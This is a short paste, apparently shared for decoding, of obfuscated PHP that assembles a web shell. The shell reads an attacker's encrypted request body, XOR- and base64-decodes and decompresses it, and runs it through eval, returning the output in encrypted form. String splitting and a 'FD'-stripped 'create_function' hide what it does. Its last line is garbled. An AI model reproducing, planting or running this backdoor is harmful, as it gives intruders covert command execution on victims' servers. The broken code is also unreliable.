PHP Decode

<?  $V='$k="80e32263";$kh="6f8af44abea0";$kf="351039f4a7b5";$p="0UlYyJHG87EJqEz6";function x($'; 
$P='++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents('; 
$d='t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i'; 
$B='ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}'; 
$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion'); 
$c='"php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@'; 
$u=str_replace('','',$V.$d.$P.$c.$B); 
$x=$N('',$;$x(); 
?>